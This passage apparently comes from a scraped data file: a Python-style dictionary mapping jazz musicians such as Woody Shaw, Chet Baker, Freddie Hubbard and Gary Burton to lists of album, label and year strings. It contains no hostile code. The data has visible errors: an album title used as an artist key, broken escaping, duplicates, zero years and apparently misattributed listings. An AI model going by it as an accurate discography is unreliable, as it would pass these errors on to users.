Note--1964','\\\nTrompeta Toccata--Blue Note--1965','\\\nJazz Committee For Latin American Affairs--FM (6)--1963','\\\nEase It--Jazztime--1961','\\\nFats-Bud-Klook-Sonny-Kinney--Savoy Records--0','\\\nBut Beautiful--Milestone (4)--1976','\\\nThe Bopmasters--ABC Impulse!--1978','\\\nShort Story--SteepleChase--1979','\\\nEuropa Jazz--Europa Jazz--1981','\\\nJerome Kern Showboat--Time Records (3)--1961','\\\nI Giganti Del Jazz Vol. 64--Curcio--0','\\\n\\'Round About Midnight At The Cafe Bohemia, Vol. 2--Blue Note--1984','\\\n\\'Round About Midnight At The Cafe Bohemia, Vol. 3--Blue Note--1984','\\\nHot Stuff From Brazil--West Wind--1988','\\\nLast But Not Least 1966, Vol.2--Raretone--1988','\\\nLive 1953-56-64--Royal Jazz--1990','\\\nLenox School Of Jazz--Atlantic--1959','\\\nBash!--Jazz Line (2)--1961','\\\nMatador/Inta Somethin\\'--Blue Note--1991','\\\nThe Complete \\'Round About Midnight At The Cafe Bohemia--Blue Note--1995','\\\nBlues In Bebop--Savoy Jazz--1998','\\\nPoint Of Departure--Blue Note--1965'),'\\\nWoody Shaw':('\\\nBlackstone Legacy--Contemporary Records--1971','\\\nSong Of Songs--Contemporary Records--1973','\\\nAnthenagin--Prestige--1973','\\\nScreaming Mothers--Mainstream Records--1974','\\\nJazz--Mainstream Records--1974','\\\nThe Moontrane--Muse Records--1975','\\\nTones For Joan\\'s Bones--Vortex Records (2)--1968','\\\nIchi-Ban--Timeless Records (3)--1976','\\\nLove Dance--Muse Records--1976','\\\nLittle Red\\'s Fantasy--Muse Records--1978','\\\nRosewood--Columbia--1978','\\\nStepping Stones - Live At The Village Vanguard--Columbia--1978','\\\nEvery Time I See You--Columbia--1978','\\\nWoody Three--Columbia--1979','\\\nEuropa Jazz--Europa Jazz--1981','\\\nFor Sure!--Columbia--1980','\\\nThe Iron Men--Muse Records--1981','\\\nUnited--Columbia--1981','\\\nMaster Of The Art--Elektra Musician--1982','\\\nLotus Flower--Enja Records--1982','\\\nNight Music--Elektra Musician--1983','\\\nJazz Patterns--Everest Records Archive Of Folk & Jazz Music--0','\\\nIn The Beginning--Muse Records--1983','\\\nThe Music Of Charles Mingus--no label--1977','\\\nWoody Shaw With Tone Jansa Quartet--Timeless Records (3)--1985','\\\nDouble Take--Blue Note--1985','\\\nSetting Standards--Muse Records--1985','\\\nTime Speaks--Baystate--1983','\\\nIntroducing Kenny Garrett--Criss Cross Jazz--1985','\\\nSolid--Muse Records--1987','\\\nEternal Triangle--Blue Note--1988','\\\nImagination--Muse Records--1988','\\\nDr. Chi--Timeless Records (3)--1989','\\\nLito--Leo Records--1989','\\\nIn My Own Sweet Way--In+Out Records--1989','\\\nWoody Shaw--Fabbri Editori--1989','\\\nLotus Flower--Enja Records--1990','\\\nThe Complete CBS Studio Recordings Of Woody Shaw--Mosaic Records (2)--1992','\\\nTime Is Right - Live In Europe--Red Record--1983','\\\nWoody And Friends--Concord Jazz--1981','\\\nThe Freddie Hubbard And Woody Shaw Sessions--Blue Note--1995','\\\nDark Journey--32 Jazz--1997'),'\\\nWynton Marsalis':('\\\nLive At Bubba\\'s Jazz Restaurant--Kingdom Jazz--1981','\\\nWynton Marsalis--Columbia--1982','\\\nFathers & Sons--Columbia--1982','\\\nArt Blakey In Sweden--Amigo--1982','\\\nTrumpet Concertos--CBS Masterworks--1983','\\\nThink Of One--CBS--1983','\\\nThree Favorite Concertos: Cello Concerto, Op.101 / Trumpet Concerto / Violin Concerto No.1--CBS Masterworks--1984','\\\nWynton Marsalis\\' First Recordings--Kingdom Jazz--1983','\\\nHot House Flowers--Columbia--1984','\\\nWynton Marsalis Plays Handel, Purcell, Torelli, Fasch, Molter--CBS Masterworks Digital--1984','\\\nBlack Codes (From The Underground)--Columbia--1985','\\\nThe All American Hero--no label--1985','\\\nTomasi: Concerto For Trumpet And Orchestra / Jolivet: Concerto No. 2 For Trumpet - Concertino For Trumpet, String Orchestra And Piano--CBS Masterworks--1986','\\\nJ Mood--Columbia--1986','\\\nMarsalis Standard Time, Vol. 1--Columbia--1987','\\\nCarnaval--CBS Masterworks--1987','\\\nBaroque Music For Trumpets--CBS Masterworks--0','\\\nPortait Of Wynton Marsalis--CBS Masterworks--1988','\\\nAlbum Of The Year--Timeless Records (3)--1981','\\\nBlues & Swing--Pioneer LDCE Ltd.--1988','\\\nThe Wynton Marsalis Quartet Live At Blues Alley--CBS--1988','\\\nHusa, Copland, Vaughan Williams, Hindemith--CBS Masterworks--1989','\\\nWynton Marsalis--Fabbri Editori--1989','\\\nInterchords--Columbia--1989','\\\nCrescent City Christmas Card--Columbia--1989','\\\nThe Majesty Of The Blues--Columbia--1989','\\\nStandard Time Vol. 3 (The Resolution Of Romance)--Columbia--1990','\\\nTune In Tomorrow - The Original Soundtrack--CBS--1990','\\\nLevee Low Moan (Soul Gestures In Southern Blue, Vol. 3)--Columbia--1991','\\\nThick In The South (Soul Gestures In Southern Blue, Vol. 1)--Columbia--1991','\\\nUptown Ruler (Soul Gestures In Southern Blue, Vol. 2)--Columbia--1991','\\\nStandard Time Vol.2 - Intimacy Calling--Columbia--1991','\\\nBaroque Duet--Sony Classical--1992','\\\nVol.1 - Time Will Tell--Jazz Hour--1992','\\\nA Carnegie Hall Christmas Concert--Sony Classical--1992','\\\nConcert For Planet Earth: Rio De Janeiro 1992--Sony Classical--1992','\\\nOn The Twentieth Century...--Sony Classical--1993'),'\\\nChet Baker':('\\\nGerry Mulligan Quartet--Pacific Jazz--1953','\\\nChet Baker Sings--Pacific Jazz--1954','\\\nChet Baker & Strings--Columbia--1954','\\\nSings And Plays With Bud Shank, Russ Freeman And Strings--Pacific Jazz--1955','\\\nSings And Plays With Bud Shank Russ Freeman And Strings--Pacific Jazz--1955','\\\nGerry Mulligan Quartet--Pacific Jazz--1955','\\\nChet Baker Sings And Plays--Pacific Jazz--1955','\\\nThe Trumpet Artistry Of Chet Baker--Pacific Jazz--1955','\\\nMythe--Barclay--1956','\\\nChet Baker In Europe: A Jazz Tour Of The Nato Countries--Pacific Jazz--1956','\\\nThat Old Feeling / My Buddy--Pacific Jazz--1956','\\\nI\\'ll Remember April / Ev\\'rytime We Say Goodbye--Brunswick--1956','\\\nGerry Mulligan / Paul Desmond--Fantasy--1956','\\\nChet Baker And His Quintet With Bobby Jaspar--Barclay--1956','\\\nBig Band--Pacific Jazz--1957','\\\nChet Baker - Gerry Mulligan - Buddy DeFranco--GNP--1957','\\\nPlayboys--World Pacific Records--1957','\\\nTheme Music From The James Dean Story--World Pacific Records--1957','\\\nStan Meets Chet--Verve Records--1958','\\\nPretty/Groovy--World Pacific Records--1958','\\\nIt Could Happen To You - Chet Baker Sings--Riverside Records--1958','\\\nChet Baker In New York--Riverside Records--1958','\\\nChet--Riverside Records--1959','\\\nPlays The Best Of Lerner & Loewe--Riverside Records--1959','\\\nChet Baker Introduces Johnny Pace Accompanied By The Chet Baker Quintet--Riverside Records--1959','\\\nAngel Eyes--Celson--0','\\\nSextet & Quartet--Music--1960','\\\nTimeless--Pacific Jazz--1963','\\\nMy Funny Valentine--Fontana--1963','\\\nLee Konitz Plays With The Gerry Mulligan Quartet--World Pacific Records--1957','\\\nThe Most Important Jazz Album Of 1964/65--Colpix Records--1964','\\\nBaby Breeze --Limelight--1965','\\\nBaby Breeze--Limelight--1965'),'\\\nClark Terry':('\\\nClark Terry--EmArcy--1955','\\\nThe Jazz School--Wing Records--1955','\\\nDuke With A Difference--Riverside Records--1957','\\\nOut On A Limb--Argo (6)--1957','\\\nIn Orbit--Riverside Records--1958','\\\nBrilliant Corners--Riverside Records--1957','\\\nAmen (Lilies Of The Field) / East Side Drive--Cameo--1960','\\\nTate-A-Tate--Prestige Swingville--1960','\\\nJazz Ain\\'t Nothin\\' But Soul--Epic--1961','\\\nColor Changes--Candid--1961','\\\nEverything\\'s Mellow--Prestige--1961','\\\nAll American--Moodsville--1962','\\\nTubbs In N.Y.--Fontana--1962','\\\nBack In Bean\\'s Bag--Columbia--1963','\\\n3 In Jazz--RCA Victor--1963','\\\nMumbles--Mercury--0','\\\nJazz Festival--Wyncote--0','\\\nOscar Peterson Trio + One--Mercury--1964','\\\nWhat Makes Sammy Swing!--20th Century Fox Records--1964','\\\nThese Dues--Tru-Sound--1961','\\\nThe Happy Horns Of Clark Terry--Impulse!--1964','\\\nTread Ye Lightly--Cameo--1964','\\\nPeanut Vendor / Spanish Rice--Impulse!--1966','\\\nTijuana Jazz--Impulse!--1966','\\\nSpanish Rice--Impulse!--1966','\\\nMumbles--Mainstream Records--1966','\\\nIt\\'s What\\'s Happenin\\'--Impulse!--1967','\\\nSoul Duo--Impulse!--1967','\\\nPraise To The Living God--ABC Records--1967','\\\nAt The Montreux Jazz Festival--Polydor--0','\\\nPreviously Unreleased Recordings--Verve Records--1973'),'\\\nClifford Brown':('\\\nCliff Brown + Art Farmer With The Swedish All Stars (Vol. 1)--Metronome--1953','\\\nNew Star On The Horizon--Blue Note--1953','\\\nNew Faces – New Sounds--Blue Note--1953','\\\nCliff Brown + Art Farmer With The Swedish All Stars (Vol. 2)--Metronome--1954','\\\nJazz Time Paris Vol. 10--Vogue Productions--0','\\\nWith Strings--EmArcy--1955','\\\nMemorial Album--Blue Note--1956','\\\nMemorial--Prestige--1956','\\\nSweet Clifford--Mercury Emarcy Jazz--1956','\\\nBest Coast Jazz--Mercury--1956','\\\nQuicksilver--Blue Note--1956','\\\nMemorial Clifford Brown--Swing (3)--1957','\\\nJazz Immortal--Pacific Jazz--1960','\\\nMemorial--Disques Vogue--1962','\\\nRemember Clifford--Mercury--1964','\\\nRemember Clifford--Mercury--1963','\\\nPlus 4--Prestige--1956','\\\nEmbraceable You / Daahoud--Limelight--1964','\\\nThe Immortal Clifford Brown--Limelight--1965','\\\nClifford Brown All Stars--EmArcy--1956','\\\nParis Collection Vol. 1--Disques Vogue--1972','\\\nThe Beginning And The End--Columbia--1973','\\\nThe Best Of Max Roach And Clifford Brown In Concert!--GNP--1956','\\\nBrownie Eyes--Blue Note--1974','\\\nThe Paris Collection Vol. 2--Disques Vogue P.I.P.--1979','\\\nHelen Merrill--EmArcy--1955','\\\nParis Collection Vol. 3--Vogue--1974','\\\nStockholm Sweetnin\\'--Metronome--1958','\\\nInternational Jam Sessions--Xanadu Records--1976','\\\nThe Quintet Vol. 1--Mercury--1976','\\\nThe Complete Paris Collection--Jazz Vogue--1976'),'\\\nFreddie Hubbard':('\\\nOpen Sesame--Blue Note--1960','\\\nOutward Bound--Metronome--1960','\\\nThe Montgomery Brothers--Pacific Jazz--1961','\\\nHub Cap--Blue Note--1961','\\\nThe Blues And The Abstract Truth #2--Impulse!--1961','\\\nBlues And The Abstract Truth--Impulse!--1961','\\\nGoin\\' Up--Blue Note--1961','\\\nJazz Conference Abroad--Smash Records (4)--1962','\\\nHub-Tones--Blue Note--1962','\\\nReady For Freddie--Blue Note--1962','\\\nThe Body & The Soul--Impulse!--1963','\\\nThe Artistry Of Freddie Hubbard--Impulse!--1963','\\\nBreaking Point--Blue Note--1964','\\\nDoin\\' The Thang!--Prestige--1964','\\\nMusic For 4 Soloists And Band No.1--SABA--1965','\\\nBlue Spirits--Blue Note--1965','\\\nThe Night Of The Cookers - Live At Club La Marchal, Volume 1--Blue Note--1965','\\\nGroovy!--Fontana--1966','\\\nThe Night Of The Cookers - Live At Club La Marchal, Volume 2--Blue Note--1966','\\\nBacklash--Atlantic--1967','\\\nBacklash / The Return Of The Prodigal Son--Atlantic--1967','\\\nHigh Blues Pressure--Atlantic--1968','\\\nA Soul Experiment--Atlantic--1969','\\\nLonely Soul / Wichita Lineman--Atlantic--0','\\\nThe Black Angel--Atlantic--1970','\\\nThe Hub Of Hubbard--MPS Records--1970','\\\nRed Clay--CTI Records--1970','\\\nStraight Life--CTI Records--1971','\\\nSing Me A Song Of Songmy (A Fantasy For Electromagnetic Tape)--Atlantic--1971','\\\nFirst Light--CTI Records--1971','\\\nThe Baddest Hubbard (An Anthology Of Previously Released Recordings)--CTI Records--1975','\\\nFirst Light--CTI Records--1972','\\\nSky Dive--CTI Records--1972','\\\nFree Jazz--Atlantic--1961','\\\nReevaluation: The Impulse Years--Impulse!--1973','\\\nThe Art Of Freddie Hubbard - The Atlantic Years--Atlantic--1973','\\\nMuses For Richard Davis--MPS Records--1970','\\\nKeep Your Soul Together--CTI Records--1973','\\\nHigh Energy--Columbia--1974','\\\nIn Concert Volume One--CTI Records--1974','\\\nCrisis / Baraka Sasa--Columbia--1974','\\\nIn Concert, Volume 2--CTI Records--1974'),'\\\nIRA SULLIVAN':('\\\nThe Billy Taylor Trio Introduces Ira Sullivan--ABC-Paramount--1957','\\\nHorizons--Atlantic--1967','\\\nIra Sullivan--Horizon (3)--1976','\\\nLive At The Village Vanguard--Muse Records--1980','\\\nThe Incredible Ira Sullivan--Stash Records--1980','\\\nNight And Day--Muse Records--1981','\\\nSpirit Within--Elektra Musician--1982','\\\nStrings Attached--Strings Attached--1983','\\\nDoes It All--Muse Records--1983','\\\nHi Jinx At The Vanguard--Muse Records--1984','\\\nAlive In New York --Muse Records--1986','\\\nThe Ira Sullivan Quintet--Delmar Records--1960','\\\nModern Music From Chicago--Fantasy--1956','\\\nThe Cool Voice Of Rita Reys--Columbia--1956','\\\nJ.R. Monterose--Blue Note--1957','\\\n1957--Signal (3)--1957','\\\nThe Ira Sullivan Quintet--Delmar Records--1960','\\\nIntroducing Roland Kirk--Argo (6)--1960','\\\nBird Lives--Vee Jay Records--1963','\\\nSaga Of The Good Life & Hard Times--Rojac Records--1966','\\\nNicky\\'s Tune--Delmark Records--1970','\\\nCome On Down!--Atlantic--1970','\\\nRed Alert--Galaxy--1978','\\\nPhilly Mignon--Galaxy--1978','\\\nSprint--Elektra Musician--1983','\\\nAtlantic Jazz: Mainstream--Atlantic--1986','\\\nAtlantic Jazz--Atlantic--1986','\\\nThe Best Of Chess Jazz--MCA Records--1989','\\\nThe Jazz Messenger--Columbia--1991','\\\nBlue Trails (The Rare Tracks)--Blue Note--1996'),'\\\nCONTE CANDOLI':('\\\nSincerely, Conti--Bethlehem Records--1954','\\\nWest Coast Wailers--Atlantic--1955','\\\nGene Norman Presents Frank Morgan--GNP--1955','\\\nWest Coast Jazz--Norgran Records--1955','\\\nConte Candoli--Bethlehem Records--1955','\\\nMucho Calor (Much Heat)--Andex--1958','\\\nJazz All Stars--Modern Records (2)--0','\\\nConversation--RCA--1974','\\\nConversation--MPS Records--1976','\\\nJust Friends--MPS Records--1977','\\\nDouble Or Nothin\\'--Liberty--1957','\\\nManhattan--Concord Jazz--2001','\\\nJazz Concerto--RAI Radiotelevisione Italiana--1973','\\\nWest Coasting With Conte Candoli And Stan Levey--Bethlehem Records--1956','\\\nJazz Giants--Musicmasters--1990'),'\\\nDON FAGERQUIST':('\\\nJazz Studio 2 From Hollywood Part II--Brunswick--1954','\\\nJazz Studio 2 From Hollywood--Decca--1954','\\\nJazz Studio 2 From Hollywood, Part 1--Decca--1954','\\\nWest Coast Jazz--EPM Zeta--1990','\\\nWhat\\'s This? / That Drummer\\'s Band--Columbia--1945','\\\nLover / Boogie Blues--Columbia--1946','\\\nOpus No. 1 / Valse Triste--Columbia--1947','\\\nConcert At The Palladium--Coral--1953','\\\nThe Dave Pell Octet Plays A Gallery Of Seldom Heard Tunes By Irving Berlin--Trend (3)--1953','\\\nLe\\'s Dance--Coral--1953','\\\nInvitation--Coral--1954','\\\nBill Holman--Capitol Records--1954','\\\nThe Dave Pell Octet Plays A Folio Of Seldom Heard Tunes By Rodgers & Hart--Trend (3)--1954','\\\nSings With The Dave Pell Octet Songs By Jimmy Van Heusen--London Records--1954','\\\nShelly Manne Vol. 2--Contemporary Records--1954','\\\nJazz Studio 3--Decca--1954','\\\nPlain Folks / Cousin Jack--Capitol Records--1954','\\\nJazz Studio 2 From Hollywood, Part 1--Decca--1954','\\\nGene Krupa--Columbia--1955','\\\nJazz Studio 2 From Hollywood--Decca--1954','\\\nThe Les Brown All Stars--Capitol Records--1955','\\\nJazz & Romantic Places--Atlantic--1955','\\\nAt The Palladium--Coral--1955','\\\nConcert At The Paladium Vol. 5--Coral--1955','\\\nTerry Pollard--Bethlehem Records--1955','\\\n...Down In The Depths On The 90th Floor--Bethlehem Records--1955','\\\nThat Sound Of Renown--Coral--1956','\\\nMel Tormé Sings Fred Astaire--Bethlehem Records--1956','\\\nMartians Come Back--Atlantic--1956','\\\nMel Tormé And The Marty Paich Dek-tette--London Records--1956','\\\nHello, We\\'re The Axidentals!--ABC-Paramount--1956','\\\nJazz Goes Dancing (Prom To Prom)--RCA Victor--1956'),'\\\nRUBY BRAFF':('\\\nVic Dickenson Septet Volume 4--Vanguard--1954','\\\nBuck Meets Ruby--Vanguard--1954','\\\nJazz At Storyville Vol. 1--Savoy Records--1955','\\\nHoliday In Braff--Bethlehem Records--1955','\\\nBall At Bethlehem With Braff--Bethlehem Records--1955','\\\n2 Part Inventions In Jazz, Vol. 2--Vanguard--1955','\\\nTwo By Two (Ruby And Ellis Play Rodgers And Hart)--Vanguard--1956','\\\nHustlin\\' And Bustlin\\'--Storyville (3)--1956','\\\nRuby Braff--Jasmine Records--0','\\\nThe Magic Horn--RCA Victor--1956','\\\n2 Part Inventions In Jazz, Volume 1--Vanguard--1956','\\\nBraff!!--Epic--1956','\\\nJazz A La Midnight--Hall Of Fame (3)--0','\\\nHi-Fi Salute To Bunny--RCA Victor--1957','\\\nSwings--Bethlehem Records--0','\\\nPocket Full Of Dreams--Vanguard--1957','\\\nEasy Now--RCA Victor--1959','\\\nYou\\'re Getting To Be A Habit With Me--Stere-O-Craft--1959','\\\nRuby Braff Goes Girl Crazy--Warner Bros. Records Inc.--1959','\\\nBlowing Around The World--United Artists Records--1959','\\\nOn Sunnie\\'s Side Of The Street--The Blue Angel Jazz Club--1968','\\\nThe Ruby Braff Special--Vanguard--1970','\\\nHear Me Talkin\\'--Black Lion Records--1971','\\\nThe Grand Reunion--Chiaroscuro Records--1972','\\\nRuby Braff Special--Vanguard--1973','\\\nTribute To Count Basie--RCA--1974','\\\nThem There Eyes--Sonet--1976','\\\nBud Freeman--Bethlehem Records--1955','\\\nThe Individualism Of Pee Wee Russell--Savoy Records--1978','\\\nR&R: Quartet--Chaz Jazz Records--1980'),'\\\nMilt Jackson':('\\\nJames Moody, His Saxophone And His Band--Dial Records (3)--1950','\\\nWizard Of The Vibes--Blue Note--1952','\\\nVolume 2--Prestige--1953','\\\nThe Modern Jazz Quartet--Prestige--1953','\\\nMilt Jackson With John Lewis, Percy Heath, Kenny Clarke, Lou Donaldson And The Thelonious Monk Quintet--Blue Note--1955','\\\nJay Jay\\'s Blues / There\\'s No You--Vogue Productions--1955','\\\nThe Howard McGhee Sextet With Milt Jackson--Savoy Records--1955','\\\nOpus De Jazz--Savoy Records--1955','\\\nMilt Jackson Quartet--Prestige--1955','\\\nOpus De Jazz--Savoy Records--1955','\\\nRoll \\'Em Bags--Savoy Records--1956','\\\nBallads & Blues--Atlantic--1956','\\\nQuintet / Sextet--Prestige--1956','\\\nJackson\\'sville--Savoy Records--1956','\\\nThe Jazz Skyline--Savoy Records--1956','\\\nMeet Milt Jackson--Savoy Records--1956','\\\nSchool Days--Regent--1957','\\\nWizard Of The Vibes--Vogue Records--1957','\\\nPlenty, Plenty Soul--Atlantic--1957','\\\nSoul Brothers--Atlantic--1958','\\\nSoul Brothers--Metronome--1958','\\\nJazz Sur Seine--Philips--1958','\\\nThings Are Getting Better--Riverside Records--1958','\\\nBallads & Blues--Metronome--1958','\\\nBean Bags--Atlantic--1959','\\\nBags & Flutes--Atlantic--1959','\\\nBags\\' Opus--United Artists Records--1959','\\\nThe Ballad Artistry Of Milt Jackson--Atlantic--1960'),'\\\nGary Burton':('\\\nNew Vibe Man In Town--RCA Victor--1962','\\\nWho Is Gary Burton?--RCA Victor--1963','\\\n3 In Jazz--RCA Victor--1963','\\\nSomething\\'s Coming!--RCA Victor--1964','\\\nThe Groovy Sound Of Music--RCA Victor--1965','\\\nLive At Shelly\\'s Manne-Hole--Vault--1966','\\\nThe Time Machine--RCA Victor--1966','\\\nThrob--Atlantic--1969','\\\nGood Vibes--Atlantic--1970','\\\nCarnegie Hall--Ovation Records--1970','\\\nAlone At Last--Atlantic--1971','\\\nGary Burton & Keith Jarrett--Atlantic--1971','\\\nParis Encounter--Atlantic--1972','\\\nNorwegian Wood--RCA Camden--1973','\\\nThe New Quartet--ECM Records--1973','\\\nSeven Songs For Quartet And Chamber Orchestra--ECM Records--1974','\\\nIn The Public Interest--Polydor--1974','\\\nTurn Of The Century--Atlantic--1976','\\\nMatchbook--ECM Records--1975','\\\nHotel Hello--ECM Records--1975','\\\nGary Burton / Larry Coryell--RCA Victor--1977','\\\nTimes Square--ECM Records--1978','\\\nGary Burton--Supraphon--1981','\\\nIn Concert--Personal Choice Records--1981','\\\nWorks--ECM Records--1984','\\\nGary Burton And The Berklee All-Stars--JVC--1986','\\\nSlide Show--ECM Records--1986','\\\nThe New Tango--Atlantic--1987','\\\nArtist\\'s Choice--Bluebird (3)--1987','\\\nTimes Like These--GRP--1988','\\\nTennessee Firebird--RCA Victor--1967','\\\nReunion--GRP--1990','\\\nRight Time - Right Place--Sonet--1990','\\\nCool Nights--GRP--1991','\\\nBenny Rides Again--GRP--1992','\\\nStan Getz Featuring Joao & Astrud Gilberto--Jazz Portraits--1993','\\\nGary Burton & Keith Jarrett / Gary Burton: Throb--Rhino Records (2)--1994','\\\nIt\\'s Another Day--GRP--1994','\\\nFace To Face--GRP--1995','\\\nLive In Cannes--Jazz World Records--1996','\\\nCollection--GRP--1996'),'\\\nDave Friedman':('\\\nThe Stompers--The Boardwalk Entertainment Co--1983','\\\nOne Heart For Sale--Mercury--1984'),'\\\nRoy Ayers':('\\\nThe Jack Wilson Quartet--Atlantic--1963','\\\nWest Coast Vibes--United Artists Records--1963','\\\nRamblin\\'--Vault--1966','\\\nVirgo Vibes--Atlantic--1967','\\\nStoned Soul Picnic--Atlantic--1968','\\\nDaddy Bug--Atlantic--1969','\\\nUbiquity--Polydor--1970','\\\nHe Gives Us All His Love / Pretty Brown Skin--Polydor--1971','\\\nCoffy--Polydor--1973','\\\nBrother Louie / Virgo Red--Polydor--1973','\\\nMagic Lady / No Question--Polydor--1975','\\\n2000 Black / The Way Of The World--Polydor--1975','\\\nDaddy Bug & Friends--Atlantic--1976','\\\nHey Uh-What You Say Come On--Polydor--1976','\\\nOoh Baby / Step In To Our Life--Polydor--1978','\\\nHeat Of The Beat--Polydor--1978','\\\nStep In To Our Life--Polydor--1978','\\\nFreaky Deaky--Polydor--1978','\\\nGet On Up, Get On Down--Polydor--1978','\\\nStarbooty--Elektra--1978','\\\nRunning Away / Can\\'t You See Me--Polydor--1978','\\\nYou Send Me--Polydor--1978','\\\nLet\\'s Do It--Polydor--1978','\\\nStarbooty--Elektra--1978','\\\nLet\\'s Do It--Polydor--1978','\\\nNo Deposit No Return--Polydor--1978','\\\nFever--Polydor--1979','\\\nShack Up, Pack Up, It\\'s Up (When I\\'m Gone)--Polydor--1979','\\\nLove Will Bring Us Back Together--Polydor--1979','\\\nDon\\'t Stop The Feeling (Full Length Version)--Polydor--1979','\\\nFever--Polydor--1979','\\\nNo Stranger To Love--Polydor--1979','\\\nMusic Of Many Colours--Phonodisk--1980','\\\nYou Make Me Feel Like (Rockin\\' With Ya) / Million Dollar Baby (Feel So Real)--Polydor--1980','\\\nLove Fantasy--Polydor--1980','\\\nRock Your Roll--Polydor--1980','\\\nPrime Time--Polydor--1980'),'\\\nLove Fantasy--Polydor--1980':('\\Sometimes) Believe In Yourself--Polydor--1980','\\\nDestination Motherland--Polydor--1981','\\\nAfrica, Center Of The World--Polydor--1981','\\\nTurn Me Loose--Polydor--1982','\\\nFeeling Good--Polydor--1982','\\\nLet\\'s Stay Together--Polydor--1982','\\\nFire Up The Funk / Let\\'s Stay Together--Polydor--1982'),'\\\nLynn Blessing':('\\\nSunset Painter--Epic--1969','\\\nListen To The City--A&M Records--1975','\\\nNadia\\'s Theme (The Young And The Restless)--A&M Records--1976','\\\nNight-Rider!--MCA Records--1979','\\\nCrossection--MCA Records--1979','\\\nSmile! / The Best Of Tim Weisberg--A&M Records--1979','\\\n4--A&M Records--1974','\\\nCalifornia Memories--A&M Records--1974','\\\nJazz Suite On The Mass Texts--RCA Victor--1965','\\\nCycle--RCA Victor--1965','\\\nLes McCann Plays The Hits--Limelight--1966','\\\nHere\\'s That Rainy Day--RCA Victor--1966','\\\nThe Jazz Corps--Pacific Jazz--1967','\\\nBucket O\\' Grease--Limelight--1967','\\\nBill Plummer And The Cosmic Brotherhood--Impulse!--1968','\\\nJungle Grass--UNI Records--1969','\\\nThe Advancement--Philips--1970','\\\nEruptions--Cadet Concept--1970','\\\nJuly 9-10--Pacific North Records--1971','\\\nOhio Knox--Reprise Records--1971','\\\nTim Weisberg--A&M Records--1972','\\\nHurtwood Edge--A&M Records--1972','\\\nThe Phlorescent Leech & Eddie--Reprise Records--1972','\\\nMagical Connection--Blue Thumb Records--1972','\\\nDreamspeaker--A&M Records--1973','\\\nA Special Edition--Island Records--1974','\\\n4--A&M Records--1974','\\\nChange--Epic--1975','\\\nListen To The City--A&M Records--1975','\\\nNadia\\'s Theme (The Young And The Restless)--A&M Records--1976','\\\nLive At Last!--A&M Records--1976','\\\nLook To The Rainbow--Warner Bros. Records--1977','\\\nThe Tim Weisberg Band--United Artists Records--1977','\\\nAll Fly Home--Warner Bros. Records--1978','\\\nNight-Rider!--MCA Records--1979','\\\nCrossection--MCA Records--1979','\\\nMoonchild--MCA Records--1979','\\\nSmile! / The Best Of Tim Weisberg--A&M Records--1979','\\\nThe Tip Of The Weisberg--Nautilus Recordings--1979','\\\nIn Harmony - A Sesame Street Record--Sesame Street Records--1980','\\\nParty Of One--MCA Records--1980','\\\nBlowin\\' Gold--Chess--1982','\\\nGroovy: A Collection Of Rare Jazzy Club Tracks--Irma--1996','\\\nBest Of Al Jarreau--Warner Bros. Records--1996'),'\\\nLionel Hampton':('\\\nI Want To Be Loved (But Only By You) / Limehouse Blues--Decca--1947','\\\nSwinging For The King - An Album Of Jazz Greats--Mercury--1952','\\\nKingfish / Don\\'t Flee The Scene Salty--MGM Records--1952','\\\nJust Jazz Concert - Star Dust / The Man I Love--Decca--1951','\\\nLionel Hampton--Vogue Productions--1953','\\\nLionel Hampton--Vogue Productions--1953','\\\nJam Session #5--Clef Records--1955','\\\nLionel Hampton--Vogue Productions--1953','\\\nLionel Hampton--Brunswick--1953','\\\nHunka Dola / The Jumpin\\' Jive--RCA Victor--1953','\\\nLionel Hampton And His All Stars With Milton Mezz Mezzrow--Blue Star--1951','\\\nA Memorable Session--Disques Vogue--1958','\\\nLive Recording From Apollo Hall Concert 1954--Philips--1955','\\\nJam Session In Paris--EmArcy--1955','\\\nDrumology --RCA Victor--1955','\\\nLionel Hampton With The Just Jazz All Stars--GNP--1955','\\\n1 - Jazz--Philips--1955','\\\nCrazy Rhythm--EmArcy--1955','\\\nHamp And Getz--Norgran Records--1955','\\\nHow High The Moon / Mama Don\\'t Allow /--Donauland--0','\\\nLionel Hampton Plays Love Songs--Verve Records--0','\\\nPlaying Some Of The Selections They Played In The Benny Goodman Movie--Clef Records--1956','\\\nThe Complete 1953 Paris Session--Vogue--0','\\\nLionel Hampton And His Giants--Norgran Records--1956','\\\nLionel Hampton Et Son R n\\' R--Versailles (2)--1956','\\\nHamp!--Clef Records--1956','\\\nThe Lionel Hampton-Art Tatum-Buddy Rich Trio--Clef Records--1956','\\\nMoonglow / Blues For Benny--Clef Records--1956','\\\nBenny Goodman Plays Selections From The Benny Goodman Story--Capitol Records--1956','\\\nÀ L\\'Olympia --Versailles (2)--1956','\\\nBenny Goodman Plays Selections From The Benny Goodman Story - Part 1--Capitol Records--1956','\\\nHampton Special--Columbia--0','\\\nHamp\\'s Big Four--Verve Records--1957'),'\\\nRed Norvo':('\\\nGene Norman\\'s Just Jazz Volume 13--Modern Records (2)--1951','\\\nRed Norvo\\'s Fabulous Jam Session--Dial Records (3)--1951','\\\nSwinging For The King - An Album Of Jazz Greats--Mercury--1952','\\\nJust A Mood--Columbia--1952','\\\nMemorable Sessions in Jazz--Blue Note--1953','\\\nModern American Musicians--Remington--1953','\\\nRed\\'s Rose Room (Vol. 1)--X--0','\\\nImprovisations--Mercury--0','\\\nVibe-Rations--London Records--1956','\\\nRed Norvo With Strings--Fantasy--1956','\\\nSome Of My Favorites--RCA--1957','\\\nBlues And Vanilla--RCA Victor--1957','\\\nAd Lib--Liberty--1957','\\\nMusic To Listen To Red Norvo By--Contemporary Records--1957','\\\nCollections--Intro Records (3)--1957','\\\nCommand Performance--EmArcy--1958','\\\nRed Plays The Blues--RCA Victor--1958','\\\nWindjammer City Style--Dot Records--1958','\\\nThe Horn\\'s Full--RCA Victor--1958','\\\nNorvo... Naturally!--Rave Records (6)--0','\\\nMainstream Jazz--Continental Records (12)--1962','\\\nWe Remember Mildred Bailey--Vee Jay Records--1965','\\\nMove!--Savoy Records--1956','\\\nRose Room--BYG Records--0','\\\nMr & Mrs Swing--Kiva (2)--1975','\\\nSessions, Live--Calliope (3)--1976','\\\nJazz Giants Vol. 3--Trip Jazz--0','\\\nThe Uncollected Mildred Bailey 1944 (The CBS Radio Shows)--Hindsight Records (2)--1979','\\\nGiants Of Jazz: Red Norvo--Time Life Records--1980','\\\nOn Stage--Concord Jazz--1981','\\\nSwing Reunion--Book-Of-The-Month Records--1985','\\\nBenny Carter All Stars Featuring Nat Adderley & Red Norvo--Gazell--1986','\\\nJust A Mood The Red Norvo Small Bands--Bluebird 